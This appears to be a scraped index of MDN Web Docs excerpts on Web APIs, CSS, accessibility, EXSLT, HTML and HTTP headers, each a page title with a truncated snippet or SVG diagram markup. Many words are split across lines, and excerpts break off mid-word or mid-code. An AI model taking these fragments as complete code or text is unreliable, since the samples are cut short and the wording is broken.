viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
SVGStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"...
SVGSwitchElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25...
SVGTextElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
SVGTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" ...
SVGUnitTypes - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgunittypes" target="_top"><rect x="1" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="61" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div> ...
SVGUseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
SVGZoomAndPan - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgzoomandpan" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></div>...
Screen.availWidth - Web APIs
syntax var width = window.screen.availwidth example var screenavailwidth = window.screen.availwidth; console.log(screenavailwidth); specifications specification status comment css object model (cssom)
view modulethe definition of 'screen.availwidth' in that specification.
Screen.colorDepth - Web APIs
syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom)
view modulethe definition of 'screen.colordepth' in that specification.
Screen.height - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'screen.height' in that specification.
Screen.orientation - Web APIs
you should rotate your de
vice to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification.
Screen.pixelDepth - Web APIs
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom)
view modulethe definition of 'screen.pixeldepth' in that specification.
Screen.width - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'screen.width' in that specification.
Selection.focusNode - Web APIs
this can be
visualized by holding the shift key and pressing the arrow keys on your keyboard to modify the current selection.
Sensor - Web APIs
instead it pro
vides properties, event handlers, and methods accessed by interfaces that inherit from it.
SensorErrorEvent - Web APIs
the sensorerrorevent interface of the sensor apis pro
vides information about errors thrown by a sensor or related interface.
SourceBuffer.changeType() - Web APIs
invalidstateerror the sourcebuffer is not a member of the parent media source's sourcebuffers list, or the buffer's updating property indicates that a pre
viously queued appendbuffer() or remove() is still being processed.
SourceBuffer.removeAsync() - Web APIs
the removeasync() method of the sourcebuffer interface starts the process of asynchronously remo
ving from the sourcebuffer media segments found within a specific time range.
SpeechGrammar.SpeechGrammar() - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newgrammar; // should add the new...
SpeechGrammar.src - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the sa...
SpeechGrammar.weight - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the sa...
SpeechGrammarList.SpeechGrammarList() - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.length - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
SpeechRecognition() - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.continuous - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.grammars - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.interimResults - Web APIs
lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
WebGLContextEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
WebGLQuery - Web APIs
the webglquery interface is part of the webgl 2 api and pro
vides ways to asynchronously query for information.
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
when using the ovr_multi
view2 extension, the following value can be returned additionally: ext.framebuffer_incomplete_
view_targets_ovr: if base
viewindex is not the same for all framebuffer attachment points where the value of framebuffer_attachment_object_type is not none, the framebuffer is considered incomplete.
WebGLRenderingContext.getContextAttributes() - Web APIs
, powerpreference: "default", premultipliedalpha: true, preservedrawingbuffer: false, stencil: false, desynchronized: false } the context attributes can be set when creating the context using the htmlcanvaselement.getcontext() method: canvas.getcontext('webgl', { antialias: false, depth: false }); see getcontext() for more information about the indi
vidual attributes.
WebGLRenderingContext.getSupportedExtensions() - Web APIs
y ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_mipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multi
view2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specificatio...
WebGLSync - Web APIs
the webglsync interface is part of the webgl 2 api and is used to synchronize acti
vities between the gpu and the application.
WebGLTexture - Web APIs
the webgltexture interface is part of the webgl api and represents an opaque texture object pro
viding storage and state for texturing operations.
Window: message event - Web APIs
en for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); alternatively the listener could use the onmessage event handler property: window.onmessage = (event) => { console.log(`received message: ${event.data}`); }; specifications specification status html li
ving standard li
ving standard ...
Window: messageerror event - Web APIs
event handler property onmessageerror examples listen for messageerror using addeventlistener(): window.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessageerror event handler property: window.onmessageerror = (event) => { console.error(event); }; specifications specification status html li
ving standard li
ving standard ...
Window.moveBy() - Web APIs
function budge() { moveby(10, -10); } specification specification status comment css object model (cssom)
view modulethe definition of 'window.moveby()' in that specification.
Window.moveTo() - Web APIs
function origin() { window.moveto(0, 0); } specification specification status comment css object model (cssom)
view modulethe definition of 'window.moveto()' in that specification.
Window.outerHeight - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'window.outerheight' in that specification.
Window.outerWidth - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'window.outerwidth' in that specification.
Window.pageXOffset - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'window.pagexoffset' in that specification.
Window.performance - Web APIs
it serves as the point of exposure for the performance timeline api, the high resolution time api, the na
vigation timing api, the user timing api, and the resource timing api.
Window.resizeBy() - Web APIs
specifications specification status comment css object model (cssom)
view modulethe definition of 'window.resizeby()' in that specification.
Window.resizeTo() - Web APIs
function quarter() { window.resizeto( window.screen.availwidth / 2, window.screen.availheight / 2 ); } specification specification status comment css object model (cssom)
view modulethe definition of 'window.resizeto()' in that specification.
Window.screen - Web APIs
syntax let screenobj = window.screen; example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specifications specification status comment css object model (cssom)
view modulethe definition of 'window.screen' in that specification.
Window.scrollMaxX - Web APIs
example // scroll to right edge of the page let maxx = window.scrollmaxx; window.scrollto(maxx, 0); notes do not use this property to get the total document width, which is not equivalent to window.innerwidth + window.scrollmaxx, because window.innerwidth includes the width of any
visible vertical scrollbar, thus the result would exceed the total document width by the width of any
visible vertical scrollbar.
Window.scrollMaxY - Web APIs
example // scroll to the bottom of the page let maxy = window.scrollmaxy; window.scrollto(0, maxy); notes do not use this property to get the total document height, which is not equivalent to window.innerheight + window.scrollmaxy, because window.innerheight includes the width of any
visible horizontal scrollbar, thus the result would exceed the total document height by the width of any
visible horizontal scrollbar.
Window.speechSynthesis - Web APIs
inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking
via the speechsynthesis.speak() method.
Window: unload event - Web APIs
bubbles no cancelable no interface event event handler property onunload it is fired after: beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, iframe etc.) nothing is
visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before child frame unload (see example below).
WindowClient.focus() - Web APIs
ituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment ser
vice workersthe definition of 'focus()' in that specification.
WindowClient.focused - Web APIs
.then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment ser
vice workersthe definition of 'windowclient: focused' in that specification.
Worker: message event - Web APIs
y, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js self.postmessage('i\'m alive!'); specifications specification status html li
ving standard li
ving standard ...
WorkerGlobalScope.console - Web APIs
the console read-only property of the workerglobalscope interface returns a console object pro
viding access to the browser console for the worker.
WorkerGlobalScope.performance - Web APIs
note: firefox has a bug with using console.log inside shared/ser
vice workers (see bug 1058644), which may return strange results, but this should be fixed soon.
XMLHttpRequestEventTarget.onprogress - Web APIs
xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest li
ving standard whatwg li
ving standard ...
XMLSerializer - Web APIs
the xmlserializer interface pro
vides the serializetostring() method to construct an xml string representing a dom tree.
XPathEvaluator.createNSResolver() - Web APIs
this adapter works like the dom level 3 method node.lookupnamespaceuri() in resol
ving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resol
ving the implicit xml prefix.
XPathResult.singleNodeValue - Web APIs
html <div>xpath example</div> <div>tag name of the element ha
ving the text content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model ...
XRFrame.session - Web APIs
specifications specification status comment webxr de
vice apithe definition of 'xrframe.session' in that specification.
XRInputSourceArray.values() - Web APIs
specifications specification status comment webxr de
vice apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceEventInit.inputSource - Web APIs
let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceeventinit.inputsource' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr de
vice apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRRenderState.depthFar - Web APIs
the depthfar read-only property of the xrrenderstate interface returns the distance in meters of the far clip plane from the
viewer.
ARIA: rowgroup role - Accessibility
the first rule of aria use is if you can use a native feature with the semantics and beha
vior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so.
Forms - Accessibility
the following pages pro
vide various techniques for impro
ving the accessibility of web forms: basic form hints: adding hints and descriptions for invalid or required fields alerts: using alerts to pro
vide client-side validation error messages multi-part labels: enabling complex form labels with a control inside each label see also the yahoo!
Community - Accessibility
this document pro
vides links to mailing lists, newsgroups, forums, and other communities related to accessbility.
HTML To MSAA - Accessibility
for example, if name column has n/a value then it means specific elements doesn't pro
vide own rules to calculate name but name can be computed from aria markup or @title attribute.
Robust - Accessibility
this article pro
vides practical ad
vice on how to write your web content so that it conforms to the success criteria outlined in the robust principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
ion initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples rounding a outline since this is a firefox-only property, this example will not display the desired effect if you are
viewing this in a browser other than firefox.
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
ueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's bottom-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-bottomright: 2em; } result the example above will not display the desired effect if you are
viewing this in a browser other than firefox.
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples the example below will not display the desired effect if you are
viewing this in a browser other than firefox.
-moz-outline-radius-topright - CSS: Cascading Style Sheets
ed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's top-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topright: 2em; } result the example above will not display the desired effect if you are
viewing this in a browser other than firefox.
-moz-outline-radius - CSS: Cascading Style Sheets
oz-outline-radius-topright: a length, percentage or calc();-moz-outline-radius-bottomright: a length, percentage or calc();-moz-outline-radius-bottomleft: a length, percentage or calc(); formal syntax <outline-radius>{1,4} [ / <outline-radius>{1,4} ]?where <outline-radius> = <length> | <percentage> examples rounding an outline note: this example will not display the desired effect if you are
viewing this in a browser other than firefox.
font-language-override - CSS: Cascading Style Sheets
for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-override property lets you override the typeface beha
vior for a specific language.
font-stretch - CSS: Cascading Style Sheets
if the font does not pro
vide a face that exactly matches the given value, then values less than 100% map to a narrower face, and values greater than or equal to 100% map to a wider face.
grid-template-areas - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies togrid containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>na
vigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav ...
grid-template-rows - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typesimple list of length, percentage, or calc, pro
vided the only differences are in the values of the length, percentage, or calc components in the list formal syntax none | <track-list> | <auto-track-list> | subgrid <line-name-list>?where <track-list> = [ <line-names>?
Inheritance - CSS: Cascading Style Sheets
see also css values for controlling inheritance: inherit, initial, unset, and revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and
visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
justify-self - CSS: Cascading Style Sheets
in grid layouts, this keyword leads to a beha
vior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
matrix3d() - CSS: Cascading Style Sheets
transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-
visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(...
exsl:object-type() - EXSLT
this function lets authors of named templates and extension functions easily pro
vide flexibility in parameter values.
Common (exsl) - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt common package pro
vides basic functions that expand upon the capabilities of xslt.
Math (math) - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt math package pro
vides functions for working with numeric values and comparing nodes.
Regular expressions (regexp) - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt regular expressions package pro
vides functions that allow testing, matching, and replacing text using javascript style regular expressions.
Strings (str) - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt strings package pro
vides functions that allow the manipulation of strings.
Index - Event reference
found 2 pages: # page tags and summary 1 event reference event, over
view, reference dom events are sent to notify code of interesting things that have taken place.
Community - Developer guides
esources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax inter
view questions and answer and answerinterwiki links ...
XHTML - Developer guides
the problems are described in more details in the following articles: beware of xhtml by da
vid hammond sending xhtml as text/html considered harmful by ian hickson xhtml's dirty little secret by mark pilgrim xhtml - what's the point?
The Web Open Font Format (WOFF) - Developer guides
it uses a compressed version of the same table-based sfnt structure used by truetype, opentype, and open font format, but adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to pro
vide license information if desired.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
blink { -webkit-animation: 2s linear infinite condemned_blink_effect; /* for safari 4.0 - 8.0 */ animation: 2s linear infinite condemned_blink_effect; } /* for safari 4.0 - 8.0 */ @-webkit-keyframes condemned_blink_effect { 0% {
visibility: hidden; } 50% {
visibility: hidden; } 100% {
visibility:
visible; } } @keyframes condemned_blink_effect { 0% {
visibility: hidden; } 50% {
visibility: hidden; } 100% {
visibility:
visible; } } ...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
examples in this example, we pro
vide an annotation for the original character equivalent of "kanji": <ruby> <rb>漢<rb>字 <rp>(</rp><rt>kan<rt>ji<rp>)</rp> </ruby> note how we've included two <rb> elements, to delimit the two separate parts of the ruby base text.
Feature-Policy: unsized-media - HTTP
this restriction solves "layout instability" problem caused by pro
viding default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
Feature-Policy: wake-lock - HTTP
the http feature-policy header wake-lock directive controls whether the current document is allowed to use wake lock api to indicate that de
vice should not enter power-sa
ving mode.
web-share - HTTP
the http feature-policy header web-share directive controls controls whether the current document is allowed to use the na
vigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice.
If-Match - HTTP
there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes from the same resource than the pre
vious one.
If-Modified-Since - HTTP
if the request has not been modified since, the response will be a 304 without any body; the last-modified response header of a pre
vious request will contain the date of last modification.
If-None-Match - HTTP
for other methods, and in particular for put, if-none-match used with the * value can be used to save a file not known to exist, guaranteeing that another upload didn't happen before, losing the data of the pre
vious put; this problem is a variation of the lost update problem.
Link - HTTP
the http link entity-header field pro
vides a means for serialising one or more links in http headers.
Location - HTTP
it only pro
vides a meaning when served with a 3xx (redirection) or 201 (created) status response.
Pragma - HTTP
header type general header, but response beha
vior is not specified and thus implementation-specific.
Public-Key-Pins-Report-Only - HTTP
the http public-key-pins-report-only response header was used to send reports of pinning
violation to the report-uri specified in the header but, unlike public-key-pins still allows browsers to connect to the server if the pinning is
